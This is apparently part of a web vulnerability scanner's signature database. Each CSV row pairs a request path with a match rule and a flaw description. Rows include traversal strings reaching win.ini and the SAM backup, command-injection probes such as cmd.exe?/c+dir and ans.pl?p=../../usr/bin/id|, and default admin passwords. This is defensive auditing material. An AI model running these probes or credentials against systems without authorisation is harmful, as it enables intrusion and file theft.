"000328","","3","/nsn/fdir.bas:ShowVolume","GET","CODE:200","You can use ShowVolume and ShowDirectory directly on the Novell server (NW5.1) to view the filesystem without having to log in","","" "000329","","3","/nsn/fdir.bas","GET","BODY:FDIR\sv1","You can use fdir to ShowVolume and ShowDirectory.","","" "000330","","3","/servlet/webacc?User.html=noexist","GET","BODY:templates\/&&!CODE:404","Netware web access may reveal full path of the web server. Apply vendor patch or upgrade.","","" "000331","","4","/forum/admin/database/wwForum.mdb","GET","CODE:200","Web Wiz Forums pre 7.5 is vulnerable to Cross-Site Scripting attacks. Default login/pass is Administrator/letmein","","" "000332","","4","/webmail/blank.html","GET","CODE:200","IlohaMail 0.8.10 contains an XSS vulnerability. Previous versions contain other non-descript vulnerabilities.","","" "000333","","5","/jamdb/","GET","CODE:200","JamDB pre 0.9.2 mp3.php and image.php can allow user to read arbitrary file out of docroot.","","" "000334","CVE-2000-0063","6","/cgi/cgiproc?","GET","CODE:200","It may be possible to crash Nortel Contivity VxWorks by requesting '/cgi/cgiproc?$' (not attempted!). Upgrade to version 2.60 or later.","","" "000335","","7","@CGIDIRSaddbanner.cgi","GET","CODE:200","This CGI may allow attackers to read any file on the system.","","" "000336","CVE-2002-0934","7","@CGIDIRSaf.cgi?_browser_out=.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.@LFI(abs,url,nix)","GET","CODE:200&&LFI()","AlienForm2 revision 1.5 allows any file to be read from the remote system.","","" "000337","","7","@CGIDIRSalienform.cgi?_browser_out=.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.@LFI(abs,url,nix)","GET","CODE:200&&LFI()","AlienForm2 revision 1.5 allows any file to be read from the remote system.","","" "000338","","7","@CGIDIRSshtml.dll","GET","CODE:200","This may allow attackers to retrieve document source.","","" "000339","CVE-2003-0676","7","/admin-serv/tasks/configuration/ViewLog?file=hosts&num=5000&str=&directories=admin-serv%2Flogs%2f..%2f..%2f..%2f..%2f..%2f..%2fetc&id=admin-serv","GET","@LFI()","iPlanet Administration Server 5.1 allows remote users to download any file from the server. Upgrade to SunOne DS5.2 and in iDS5.1 SP2 Hotfix 2.","","" "000340","","8","@CGIDIRSaglimpse.cgi","GET","CODE:200","This CGI may allow attackers to execute remote commands.","","" "000341","","8","@CGIDIRSaglimpse","GET","CODE:200","This CGI may allow attackers to execute remote commands.","","" "000342","","8","@CGIDIRSarchitext_query.cgi","GET","CODE:200","Versions older than 1.1 of Excite for Web Servers allow attackers to execute arbitrary commands.","","" "000343","","8","@CGIDIRScgiemail-1.4/cgicso?query=AAA","GET","BODY:400 Required field missing: fingerhost","This CGI allows attackers to execute remote commands.","","" "000344","","8","/cgi-local/cgiemail-1.6/cgicso?query=AAA","GET","BODY:400 Required field missing: fingerhost","This CGI allows attackers to execute remote commands.","","" "000345","CVE-2003-0104","8","/servlet/SchedulerTransfer","GET","CODE:200&&BODY:Error Occurred","PeopleSoft SchedulerTransfer servlet found, which may allow remote command execution.","","" "000346","","8","/servlet/sunexamples.BBoardServlet","GET","CODE:200&&BODY:Error Occurred","This default servlet lets attackers execute arbitrary commands.","","" "000347","CVE-2003-0104","8","/servlets/SchedulerTransfer","GET","CODE:200&&BODY:Error Occurred","PeopleSoft SchedulerTransfer servlet found, which may allow remote command execution.","","" "000348","","8","@CGIDIRScmd.exe?/c+dir","GET","CODE:200","cmd.exe can execute arbitrary commands","","" "000349","","8","@CGIDIRScmd1.exe?/c+dir","GET","CODE:200","cmd1.exe can execute arbitrary commands","","" "000350","","8","@CGIDIRShello.bat?&dir+c:\\","GET","CODE:200","This batch file may allow attackers to execute remote commands.","","" "000351","","8","@CGIDIRSpost32.exe|dir%20c:\\","GET","CODE:200","post32 can execute arbitrary commands","","" "000352","CVE-2002-1436","8","/perl/-e%20print%20Hello","GET","CODE:200","The Perl interpreter on the Novell system may allow any command to be executed.","","" "000353","","ae","/admin.cgi","GET","BODY:Administration","InterScan VirusWall administration is accessible without authentication.","","" "000354","","ae","/interscan/","GET","BODY:Administration","InterScan VirusWall administration is accessible without authentication.","","" "000355","","a","/vgn/legacy/save","GET","CODE:200","Vignette Legacy Tool may be unprotected. To access this resource, set a cookie called 'vgn_creds' with any value.","","" "000356","","b","/","GET","BODY:default Tomcat","Appears to be a default Apache Tomcat install.","","" "000357","","b","/IDSWebApp/IDSjsp/Login.jsp","GET","CODE:200","Tivoli Directory Server Web Administration.","","" "000358","CVE-1999-0607","b","/quikstore.cfg","GET","CODE:200","Shopping cart config file, http://www.quikstore.com/, http://www.mindsec.com/advisories/post2.txt","","" "000359","","b","/quikstore.cgi","GET","CODE:200","A shopping cart.","","" "000360","","b","/securecontrolpanel/","GET","CODE:200","Web Server Control Panel","","" "000361","","b","/siteminder","GET","CODE:200","This may be an indication that the server is running Siteminder for SSO","","" "000362","","b","/webmail/","GET","CODE:200","Web based mail package installed.","","" "000363","","b","/Xcelerate/LoginPage.html","GET","BODY:Xcelerate Login Page","Xcelerate Content Server by Divine/OpenMarket login page found.","","" "000364","","b","/_cti_pvt/","GET","CODE:200","FrontPage directory found.","","" "000365","","b","/smg_Smxcfg30.exe?vcc=3560121183d3","GET","CODE:200","This may be a Trend Micro Officescan 'backdoor'.","","" "000366","","2b","/examples/servlets/index.html","GET","BODY:Servlet Examples","Apache Tomcat default JSP pages present.","","" "000367","","3b","/nsn/..%5Cutil/attrib.bas","GET","CODE:200","Netbase util access is possible which means that several utility scripts might be run (including directory listings, NDS tree enumeration and running .bas files on server.","","" "000368","","3b","/nsn/..%5Cutil/chkvol.bas","GET","CODE:200","Netbase util access is possible which means that several utility scripts might be run (including directory listings, NDS tree enumeration and running .bas files on server.","","" "000369","","3b","/nsn/..%5Cutil/copy.bas","GET","CODE:200","Netbase util access is possible which means that several utility scripts might be run (including directory listings, NDS tree enumeration and running .bas files on server.","","" "000370","","3b","/nsn/..%5Cutil/del.bas","GET","CODE:200","Netbase util access is possible which means that several utility scripts might be run (including directory listings, NDS tree enumeration and running .bas files on server.","","" "000371","","3b","/nsn/..%5Cutil/dir.bas","GET","CODE:200","Netbase util access is possible which means that several utility scripts might be run (including directory listings, NDS tree enumeration and running .bas files on server.","","" "000372","","3b","/nsn/..%5Cutil/dsbrowse.bas","GET","CODE:200","Netbase util access is possible which means that several utility scripts might be run (including directory listings, NDS tree enumeration and running .bas files on server.","","" "000373","","3b","/nsn/..%5Cutil/glist.bas","GET","CODE:200","Netbase util access is possible which means that several utility scripts might be run (including directory listings, NDS tree enumeration and running .bas files on server.","","" "000374","","3b","/nsn/..%5Cutil/lancard.bas","GET","CODE:200","Netbase util access is possible which means that several utility scripts might be run (including directory listings, NDS tree enumeration and running .bas files on server.","","" "000375","","3b","/nsn/..%5Cutil/md.bas","GET","CODE:200","Netbase util access is possible which means that several utility scripts might be run (including directory listings, NDS tree enumeration and running .bas files on server.","","" "000376","","3b","/nsn/..%5Cutil/rd.bas","GET","CODE:200","Netbase util access is possible which means that several utility scripts might be run (including directory listings, NDS tree enumeration and running .bas files on server.","","" "000377","","3b","/nsn/..%5Cutil/ren.bas","GET","CODE:200","Netbase util access is possible which means that several utility scripts might be run (including directory listings, NDS tree enumeration and running .bas files on server.","","" "000378","","3b","/nsn/..%5Cutil/send.bas","GET","CODE:200","Netbase util access is possible which means that several utility scripts might be run (including directory listings, NDS tree enumeration and running .bas files on server.","","" "000379","","3b","/nsn/..%5Cutil/set.bas","GET","CODE:200","Netbase util access is possible which means that several utility scripts might be run (including directory listings, NDS tree enumeration and running .bas files on server.","","" "000380","","3b","/nsn/..%5Cutil/slist.bas","GET","CODE:200","Netbase util access is possible which means that several utility scripts might be run (including directory listings, NDS tree enumeration and running .bas files on server.","","" "000381","","3b","/nsn/..%5Cutil/type.bas","GET","CODE:200","Netbase util access is possible which means that several utility scripts might be run (including directory listings, NDS tree enumeration and running .bas files on server.","","" "000382","","3b","/nsn/..%5Cutil/userlist.bas","GET","CODE:200","Netbase util access is possible which means that several utility scripts might be run (including directory listings, NDS tree enumeration and running .bas files on server.","","" "000383","","3b","/nsn/..%5Cweb/env.bas","GET","CODE:200","Netbase util access is possible which means that several utility scripts might be run (including directory listings, NDS tree enumeration and running .bas files on server.","","" "000384","","3b","/nsn/..%5Cweb/fdir.bas","GET","CODE:200","Netbase util access is possible which means that several utility scripts might be run (including directory listings, NDS tree enumeration and running .bas files on server.","","" "000385","","3b","/nsn/..%5Cwebdemo/env.bas","GET","CODE:200","Netbase util access is possible which means that several utility scripts might be run (including directory listings, NDS tree enumeration and running .bas files on server.","","" "000386","","3b","/nsn/..%5Cwebdemo/fdir.bas","GET","CODE:200","Netbase util access is possible which means that several utility scripts might be run (including directory listings, NDS tree enumeration and running .bas files on server.","","" "000387","CVE-2002-2106","c","/wikihome/action/conflict.php?TemplateDir=@RFIURL","GET","BODY:PHP Version","Some versions of WikkiTikkiTavi allow external source to be included.","","" "000388","","1","@CGIDIRSarchie","GET","CODE:200","Gateway to the unix command, may be able to submit extra commands","","" "000389","","1","@CGIDIRScalendar.pl","GET","CODE:200","Gateway to the unix command, may be able to submit extra commands","","" "000390","","1","@CGIDIRScalendar","GET","CODE:200","Gateway to the unix command, may be able to submit extra commands","","" "000391","","1","@CGIDIRSdate","GET","CODE:200","Gateway to the unix command, may be able to submit extra commands","","" "000392","","1","@CGIDIRSfortune","GET","CODE:200","Gateway to the unix command, may be able to submit extra commands","","" "000393","","1","@CGIDIRSredirect","GET","CODE:200","Redirects via URL from form","","" "000394","","1","@CGIDIRSuptime","GET","CODE:200","Gateway to the unix command, may be able to submit extra commands","","" "000395","","1","@CGIDIRSwais.pl","GET","CODE:200","Gateway to the unix command, may be able to submit extra commands","","" "000396","","2","//","GET","BODY:(?i)(?:index of \/|directory listing (?:of|for))","Apache on Red Hat Linux release 9 reveals the root directory listing by default if there is no index page.","","" "000397","","2","/webtop/wdk/","GET","BODY:Directory Listing for \/wdk\/","Documentum Webtop Server appears to be installed","","" "000398","https://web.archive.org/web/20011226154728/http://archives.neohapsis.com/archives/sf/pentest/2000-11/0147.html","2","/SilverStream","GET","BODY:title>.*SilverStream.*<\/title","SilverStream allows directory listing","","" "000399","","2e","/signon","GET","BODY:Administrator Login","Tivoli administrator login found. Test the default login of admin/admin. Tivoli allows system administration.","","" "000400","","2","/upd/","GET","CODE:200","WASD Server can allow directory listings by requesting /upd/directory/. Upgrade to a later version and secure according to the documents on the WASD web site.","","" "000401","","3","/examples/jsp/source.jsp??","GET","BODY:Directory Listing","Tomcat 3.23/3.24 allows directory listings by performing a malformed request to a default jsp. Default pages should be removed.","","" "000402","CVE-2002-2008","3","/lpt9","GET","BODY:FileNotFoundException:","Apache Tomcat 4.0.3 reveals the web root when requesting a non-existent DOS device. Upgrade to version 4.1.3beta or higher.","","" "000403","https://www.exploit-db.com/exploits/19712","3","/cfcache.map","GET","BODY:Mapping=&&BODY:SourceTimeStamp","May leak directory listing, may also leave server open to a DOS.","","" "000404","https://www.exploit-db.com/exploits/19712","3","/cfdocs/cfcache.map","GET","BODY:Mapping=&&BODY:SourceTimeStamp","May leak directory listing, may also leave server open to a DOS.","","" "000405","","3","/CVS/Entries","GET","CODE:200","CVS Entries file may contain directory listing information.","","" "000406","","3","/lpt9.xtp","GET","BODY:java\.io\.FileNotFoundException:","Resin 2.1 and Tomcat servers reveal the server path when a DOS device is requested.","","" "000408","https://seclists.org/fulldisclosure/2003/Jun/536","37","@PHPMYADMINdb_details_importdocsql.php?submit_show=true&do=import&docpath=../","GET","BODY:Ignoring file \.<\/font><\/p>","phpMyAdmin allows directory listings remotely. Upgrade to version 2.5.3 or higher.","","" "000409","","3","/asp/sqlqhit.asp","GET","BODY:CHARACTERIZATION","This sample ASP allows anyone to retrieve directory listings.","","" "000410","","3","/asp/SQLQHit.asp","GET","BODY:CHARACTERIZATION","This sample ASP allows anyone to retrieve directory listings.","","" "000411","","3","/iissamples/issamples/sqlqhit.asp","GET","BODY:CHARACTERIZATION","This sample ASP allows anyone to retrieve directory listings.","","" "000412","","3","/iissamples/issamples/SQLQHit.asp","GET","BODY:CHARACTERIZATION","This sample ASP allows anyone to retrieve directory listings.","","" "000413","","3","/ISSamples/sqlqhit.asp","GET","BODY:CHARACTERIZATION","This sample ASP allows anyone to retrieve directory listings.","","" "000414","","3","/ISSamples/SQLQHit.asp","GET","BODY:CHARACTERIZATION","This sample ASP allows anyone to retrieve directory listings.","","" "000415","","3","/@JUNK(5).aspx","GET","BODY:NET Framework Version:&&BODY:\[FileNotFoundException\]:","ASP.NET reveals its version in invalid .aspx error messages.","","" "000416","","3","/oc/Search/sqlqhit.asp","GET","BODY:CHARACTERIZATION","This sample ASP allows anyone to retrieve directory listings.","","" "000417","","3","/oc/Search/SQLQHit.asp","GET","BODY:CHARACTERIZATION","This sample ASP allows anyone to retrieve directory listings.","","" "000418","","3","/search/htx/sqlqhit.asp","GET","BODY:CHARACTERIZATION","This sample ASP allows anyone to retrieve directory listings.","","" "000419","","3","/search/htx/SQLQHit.asp","GET","BODY:CHARACTERIZATION","This sample ASP allows anyone to retrieve directory listings.","","" "000420","","3","/search/sqlqhit.asp","GET","BODY:CHARACTERIZATION","This sample ASP allows anyone to retrieve directory listings.","","" "000421","","3","/search/SQLQHit.asp","GET","BODY:CHARACTERIZATION","This sample ASP allows anyone to retrieve directory listings.","","" "000422","","3","/sqlqhit.asp","GET","BODY:CHARACTERIZATION","This sample ASP allows anyone to retrieve directory listings.","","" "000423","","3","/SQLQHit.asp","GET","BODY:CHARACTERIZATION","This sample ASP allows anyone to retrieve directory listings.","","" "000424","CVE-2002-0407","3","@CGIDIRScom5..........................................................................................................................................................................................................................box","GET","BODY:Execution of Perl script","Lotus reveals file system paths when requesting DOS devices with bad syntax.","","" "000425","CVE-2002-0407","3","@CGIDIRScom5.java","GET","BODY:Execution of","Lotus reveals file system paths when requesting DOS devices with bad syntax.","","" "000426","CVE-2002-0407","3","@CGIDIRScom5.pl","GET","BODY:Execution of Perl script","Lotus reveals file system paths when requesting DOS devices with bad syntax.","","" "000428","","3","/?OpenServer","GET","BODY:\/icons\/abook\.gif","This install allows remote users to enumerate DB names.","","" "000431","CVE-2000-0021","3","/cgi-bin/testing_whatever","GET","BODY:domino\/cgi\-bin","The Domino server reveals the system path to the cgi-bin directory by requesting a bogus CGI.","","" "000436","","3","/LOGIN.PWD","GET","CODE:200","MIPCD password file with unencrypted passwords. MIPDCD should not have the web interface enabled.","","" "000437","","3","/USER/CONFIG.AP","GET","CODE:200","MIPCD configuration information. MIPCD should not have the web interface enabled.","","" "000438","","3","@CGIDIRSmail","GET","CODE:200","Simple Perl mailing script to send form data to a pre-configured email address","","" "000439","","3","@CGIDIRSnph-error.pl","GET","CODE:200","Gives more information in error messages","","" "000440","","3","@CGIDIRSpost-query","POST","BODY:MYDATA","Echoes back result of your POST","MYDATA","" "000441","","3","@CGIDIRSquery","GET","CODE:200","Echoes back result of your GET","","" "000442","","3","@CGIDIRStest-cgi.tcl","GET","CODE:200","May echo environment variables or give directory listings","","" "000443","","3","@CGIDIRStest-env","GET","CODE:200","May echo environment variables or give directory listings","","" "000444","http://www.securityspace.com/smysecure/catid.html?id=1.3.6.1.4.1.25623.1.0.11220","3","/.perf","GET","BODY:ListenSocket","Contains Netscape/iPlanet server performance information","","" "000445","CVE-1999-0239","3","/","get","BODY:(?i)(?:index of \/|directory listing (?:of|for))","Fasttrack can give a directory listing if issued 'get' instead of 'GET'","","" "000446","","3","/","INDEX","BODY:(?i)(?:index of \/|directory listing (?:of|for))","Netscape web publisher can give directory listings with the INDEX tag. Disable INDEX or Web Publisher.","","" "000447","","3","//","GET","BODY:Proxy autoconfig","Proxy auto configuration file retrieved.","","" "000448","","3","/admin-serv/config/admpw","GET","CODE:200","This file contains the encrypted Netscape admin password. It should not be accessible via the web.","","" "000449","https://vulners.com/osvdb/OSVDB:39140","3","/test.php%20","GET","BODY:<\?php","The OmniHTTP install may allow php/shtml/pl script disclosure. Upgrade to the latest version.","","" "000450","","3","/*.*","GET","BODY:(?i)(?:index of \/|directory listing (?:of|for))","WASD Server reveals the contents of directories via this URL. Upgrade to a later version and secure according to the documents on the WASD web site.","","" "000451","","3","/cgi-bin/cgi_process","GET","CODE:200","WASD reveals a lot of system information in this script. It should be removed.","","" "000452","","3","/ht_root/wwwroot/-/local/httpd$map.conf","GET","CODE:200","WASD reveals the http configuration file. Upgrade to a later version and secure according to the documents on the WASD web site.","","" "000453","","3","/@JUNK(10)","GET","BODY:Document not found \.\.\. \/","WASD reveals the web root in error requests. Upgrade to a later version and secure according to the documents on the WASD web site.","","" "000454","","3","/local/httpd$map.conf","GET","CODE:200","WASD reveals the http configuration file. Upgrade to a later version and secure according to the documents on the WASD web site.","","" "000455","","3","/tree","GET","CODE:200","WASD Server reveals the entire web root structure and files via this URL. Upgrade to a later version and secure according to the documents on the WASD web site.","","" "000456","","3","@CGIDIRSindex.js0x70","GET","BODY:\\<\\\%\\=","Weblogic can be tricked into revealing JSP source by adding '0x70' to end of the URL.","","" "000457","https://web.archive.org/web/20171102042459/http://www.securityfocus.com/bid/2513","3","/%00/","GET","BODY:(?i)(?:<\%|directory listing of|index of)","Weblogic allows directory listings with %00 (or indexing is enabled), upgrade to v6.0 SP1 or higher.","","" "000460","https://web.archive.org/web/20171102042459/http://www.securityfocus.com/bid/2513","3","/%2e/","GET","BODY:(?i)(?:<\%|directory listing of|index of)","Weblogic allows source code or directory listing, upgrade to v6.0 SP1 or higher.","","" "000463","https://web.archive.org/web/20171102042459/http://www.securityfocus.com/bid/2513","3","/%2f/","GET","BODY:(?i)(?:<\%|directory listing of|index of)","Weblogic allows source code or directory listing, upgrade to v6.0 SP1 or higher.","","" "000466","https://web.archive.org/web/20171102042459/http://www.securityfocus.com/bid/2513","3","/%5c/","GET","BODY:(?i)(?:<\%|directory listing of|index of)","Weblogic allows source code or directory listing, upgrade to v6.0 SP1 or higher.","","" "000469","https://web.archive.org/web/20171102042459/http://www.securityfocus.com/bid/2513","3","/index.jsp%00x","GET","BODY:(?i)(?:<\%|directory listing of|index of)","Bea WebLogic 6.1 SP 2 discloses source by appending %00x to a JSP request. Upgrade to a version newer than 6.2 SP 2 for Win2k.","","" "000470","","2","/weblogic","GET","BODY:(?i)(?:index of \/|directory listing (?:of|for))","Directory indexing found.","","" "000471","","3","/%a%s%p%d","GET","BODY:\*s\?d","Format bug is present & may reveal system path, upgrade to the latest version.","","" "000472","","3","/index.html%20","GET","BODY:File for URL","Website may reveal file system paths by adding %20 to the end of a legitimate .html request.","","" "000476","CVE-2001-0821 https://packetstormsecurity.com/files/32406/xmas.txt.html","23","@CGIDIRSorders/orders.txt","GET","CODE:200","The DCShop installation allows credit card numbers to be viewed remotely.","","" "000480","","3d","@CGIDIRScgitest.exe","GET","CODE:200","This CGI allows remote users to download other CGI source code. May have a buffer overflow in the User-Agent header.","","" "000481","","6","/examples/servlet/AUX","GET","CODE:200","Apache Tomcat versions below 4.1 may be vulnerable to DoS by repeatedly requesting this file.","","" "000482","CVE-2003-0169","6","@CGIDIRShpnst.exe?c=p+i=SrvSystemInfo.html","GET","CODE:200","HP Instant TopTools may be vulnerable to a DoS by requesting hpnst.exe?c=p+i=hpnst.exe multiple times.","","" "000483","","6","/cfdocs/cfmlsyntaxcheck.cfm","GET","CODE:200&&BODY:not found","Can be used for a DoS on the server by requesting it check all .exe's","","" "000484","https://raw.githubusercontent.com/sullo/advisory-archives/master/phenoelit.de_dp-300.txt","6","/Config1.htm","GET","CODE:200","This may be a D-Link. Some devices have a DoS condition if an oversized POST request is sent. This DoS was not tested.","","" "000485","MS02-018","6","/contents/extensions/asp/1","GET","CODE:200","The IIS system may be vulnerable to a DOS.","","" "000486","CVE-2005-1247","6","/WebAdmin.dll?View=Logon","GET","CODE:200","Some versions of WebAdmin are vulnerable to a remote DoS (not tested).","","" "000487","CVE-2002-0128","6","@CGIDIRSPbcgi.exe?bcgiu4","GET","CODE:200","Sambar may be vulnerable to a DOS when a long string is passed to Pbcgi.exe (not attempted). Default CGI should be removed from web servers.","","" "000488","CVE-2002-0128","6","@CGIDIRStestcgi.exe","GET","CODE:200","Sambar may be vulnerable to a DOS when a long string is passed to testcgi.exe (not attempted). Default CGI should be removed from web servers.","","" "000489","CVE-2002-0128","6","/cgi-win/cgitest.exe","GET","CODE:200","This CGI may allow the server to be crashed remotely.","","" "000490","https://seclists.org/bugtraq/2002/Jan/176","7","@LFI(nix,url)","GET","@LFI()","The Web_Server_4D is vulnerable to a directory traversal problem.","","" "000491","","8","/c/winnt/system32/cmd.exe?/c+dir+/OG","GET","BODY:Directory of c","This machine is infected with Code Red, or has Code Red leftovers.","","" "000492","","8","@CGIDIRSsnorkerz.bat","GET","CODE:200","Arguments passed to DOS CGI without checking","","" "000493","","8","@CGIDIRSsnorkerz.cmd","GET","CODE:200","Arguments passed to DOS CGI without checking","","" "000494","","8","/msadc/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir+c:%5c","GET","BODY:\[winnt\]&&!BODY:Internal server error","Can issue arbitrary commands to host.","","" "000495","","8","/msadc/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir+c:%5c","GET","BODY:The parameter is incorrect&&!BODY:Internal server error","May be able to issue arbitrary commands to host.","","" "000496","http://attrition.org/security/advisory/individual/rfp/rfp.9901.nt_odbc","8","/msadc/samples/adctest.asp","GET","BODY:Remote Data Service","The IIS sample application adctest.asp may be used to remotely execute commands on the server.","","" "000497","","b","/@JUNK(10)","GET","BODY:SecureIIS application","Server appears to be running eEye's SecureIIS application, http://www.eeye.com/.","","" "000498","","b","/somethingnotthere.ida","GET","BODY:Rejected\-By\-UrlScan","The IIS server is running UrlScan","","" "000501","","d","/cgi-shl/win-c-sample.exe","GET","CODE:200","win-c-sample.exe has a buffer overflow","","" "000502","CVE-2002-2006","34","/examples/servlet/TroubleShooter","GET","BODY:TroubleShooter Servlet Output","Tomcat default JSP page reveals system information and may be vulnerable to XSS.","","" "000503","CVE-2002-0307","8","@CGIDIRSans.pl?p=../../../../../usr/bin/id|&blah","GET","BODY:uid=","Avenger's News System allows commands to be issued remotely.","","" "000504","CVE-2002-0307","8","@CGIDIRSans/ans.pl?p=../../../../../usr/bin/id|&blah","GET","BODY:uid=","Avenger's News System allows commands to be issued remotely.","","" "000505","","2","/goform/CheckLogin?login=root&password=tslinux","GET","BODY:MainPageTable","The Cyclades' web user 'root' still has the default password 'tslinux' set. This should be changed immediately. Also, the id/password is hashed to create the sessionId cookie, which is bad.","","" "000506","CVE‑2002‑1021","5","/[SecCheck]/..%2f../ext.ini","GET","BODY:\[SERVICES\]","BadBlue server is vulnerable to multiple remote exploits.","","" "000507","CVE‑2002‑1021","5","/[SecCheck]/..%255c..%255c../ext.ini","GET","BODY:\[SERVICES\]","BadBlue server is vulnerable to multiple remote exploits.","","" "000508","CVE‑2002‑1021","5","/[SecCheck]/..%252f..%252f../ext.ini","GET","BODY:\[SERVICES\]","BadBlue server is vulnerable to multiple remote exploits.","","" "000509","","5","/cgi/cfdocs/expeval/ExprCalc.cfm?OpenFilePath=c:\winnt\win.ini","GET","@LFI()","The ColdFusion install allows attackers to read arbitrary files remotely","","" "000510","","5","/cgi/cfdocs/expeval/ExprCalc.cfm?OpenFilePath=c:\windows\win.ini","GET","@LFI()","The ColdFusion install allows attackers to read arbitrary files remotely","","" "000511","","5","/.nsf/../Windows/win.ini","GET","@LFI()","This win.ini file can be downloaded.","","" "000512","MS01-033","5","/prxdocs/misc/prxrch.idq?CiTemplate=../../../../../../../../../../Windows/win.ini","GET","@LFI()","This allows arbitrary files to be retrieved from the server.","","" "000513","MS01-033","5","/query.idq?CiTemplate=../../../../../../../../../../Windows/win.ini","GET","@LFI()","This allows arbitrary files to be retrieved from the server.","","" "000514","MS01-033","5","/iissamples/issamples/fastq.idq?CiTemplate=../../../../../../../../../../Windows/win.ini","GET","@LFI()","This allows arbitrary files to be retrieved from the server.","","" "000515","MS01-033","5","/iissamples/issamples/query.idq?CiTemplate=../../../../../../../../../../Windows/win.ini","GET","@LFI()","This allows arbitrary files to be retrieved from the server.","","" "000516","CVE-2000-0097","5","/default.htm%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20","GET","@LFI()","Server may be vulnerable to a Webhits.dll arbitrary file retrieval. Ensure Q252463i, Q252463a or Q251170 is installed. MS00-006.","","" "000517","CVE-2000-0097","5","/default.htm%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20","GET","BODY:\[windows\]","Server may be vulnerable to a Webhits.dll arbitrary file retrieval. Ensure Q252463i, Q252463a or Q251170 is installed. MS00-006.","","" "000518","","5","/................../config.sys","GET","CODE:200","PWS allows files to be read by prepending multiple '.' characters. At worst, IIS, not PWS, should be used.","","" "000519","","5","/cfdocs/exampleapp/email/getfile.cfm?filename=@LFI(abs)","GET","@LFI()","Allows an attacker to view arbitrary files","","" "000520","","5","/cfdocs/exampleapp/docs/sourcewindow.cfm?Template=@LFI(abs)","GET","@LFI()","Allows an attacker to view arbitrary files","","" "000521","","5","/cfdocs/expeval/exprcalc.cfm?OpenFilePath=@LFI(abs)","GET","@LFI()","Allows an attacker to view arbitrary files.","","" "000523","CVE-2002-0262","5","/netget?sid=user&msg=300&file=@LFI()","GET","@LFI()","Sybex E-Trainer allows arbitrary files to be retrieved.","","" "000524","","5","/php/php.exe?c:@LFI(abs,win)","GET","@LFI(),"Apache/PHP installations can be misconfigured (according to documentation) to allow files to be retrieved remotely.","","" "000525","https://www.exploit-db.com/exploits/22336","5","/phpping/index.php?pingto=www.example.com%20|%20dir%20c:\\","GET","BODY:Windows","PHP Ping allows commands to be executed on the remote host.","","" "000526","CVE-2002-1483","5","/scripts/db4web_c.exe/dbdirname/c%3A%5CWindows/win.ini","GET","@LFI()","The ini file was retrieved by using the db4web executable.","","" "000527","","5","/us/cgi-bin/sewse.exe?d:/internet/sites/us/sewse/jabber/comment2.jse+c:\@LFI(abs,win)","GET","@LFI()","Default scripts can allow arbitrary access to the host.","","" "000528","CVE-2003-1345","5","/wx/s.dll?d=/Windows/win.ini","GET","@LFI()","WebCollection Plus allows any file to be retrieved from the remote system.","","" "000529","","5","@CGIDIRSAlbum?mode=album&album=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc&dispsize=640&start=0","GET","CODE:200&&BODY:hosts","This CGI allows attackers to view arbitrary files on the host.","","" "000530","","5","/%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f../Windows/win.ini","GET","@LFI()","The Web_Server_4D is vulnerable to a directory traversal problem.","","" "000531","CVE-2001-1458","5","/servlet/webacc?User.html=../../../../../../../../../../../../../../../../../../Windows/win.ini%00","GET","@LFI()","The Novell Groupwise WebAcc Servlet allows attackers to view arbitrary files on the server.","","" "000532","CVE-2002-0466","5","@CGIDIRSSQLServ/sqlbrowse.asp?filepath=c:\&Opt=3","GET","BODY:boot\.ini","Hosting Controller versions 1.4.1 and lower can allow arbitrary files/directories to be read. Upgrade.","","" "000533","CVE-2002-0466","5","@CGIDIRSstats/statsbrowse.asp?filepath=c:\&Opt=3","GET","BODY:boot\.ini","Hosting Controller versions 1.4.1 and lower can allow arbitrary files/directories to be read. Upgrade.","","" "000534","","5","@CGIDIRStest.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\","GET","BODY:boot\.ini","This CGI allows attackers to read files from the server.","","" "000535","","5","@CGIDIRStst.bat|dir%20..\\..\\..\\..\\..\\..\\..\\..\\,","GET","BODY:boot\.ini","This CGI allows attackers to execute arbitrary commands on the server.","","" "000536","","5","@CGIDIRSinput.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\","GET","BODY:boot\.ini","This CGI allows attackers to read files from the server.","","" "000537","","5","@CGIDIRSinput2.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\","GET","BODY:boot\.ini","This CGI allows attackers to read files from the server.","","" "000538","","5","/ssi/envout.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\","GET","BODY:boot\.ini","This CGI allows attackers to read files from the server.","","" "000539","","5","/php/php.exe?c:\@LFI(abs,win)","GET","@LFI()","The Apache config allows php.exe to be called directly.","","" "000540","","5","/../../../../../../../../../Windows/win.ini","GET","@LFI()","The remote server allows any system file to be retrieved remotely.","","" "000541","","5","/../../../../winnt/repair/sam._","GET","CODE:200&&!BODY:Forbidden","Sam backup successfully retrieved.","","" "000542","","5","/..\\..\\..\\..\\..\\..\\..\\Windows\\.ini","GET","@LFI()","It is possible to read files on the server by adding /../ in front of file name.","","" "000543","","5","//@LFI(nix,abs)","GET","@LFI()","The server install allows reading of any system file by adding an extra '/' to the URL.","","" "000545","CVE-2002-0784","5","////./../.../Windows/win.ini","GET","@LFI()","Server is vulnerable to directory traversal, this may be Lidik Webserver 0.7b from lysias.de.","","" "000546","CVE-2000-0234","5","/.cobalt/sysManage/../admin/.htaccess","GET","BODY:AuthName","Cobalt RaQ 4 server manager allows any files to be retrieved by using the path through the .cobalt directory.","","" 